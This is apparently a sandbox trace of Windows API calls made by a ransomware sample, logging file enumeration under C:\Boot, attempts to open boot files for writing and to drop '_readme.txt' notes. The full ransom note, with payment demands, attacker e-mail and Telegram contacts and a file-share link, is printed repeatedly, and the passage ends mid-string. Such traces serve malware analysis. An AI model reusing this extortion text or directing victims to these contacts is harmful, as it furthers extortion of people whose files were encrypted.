lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.935] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.935] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.935] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.936] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.936] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.936] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0124.936] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.936] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.936] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.936] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.936] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.936] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.937] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.941] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.941] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.941] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.941] PathFindFileNameW (pszPath="") returned="" [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.941] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.941] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.941] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.941] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.942] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.942] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0124.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.942] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe 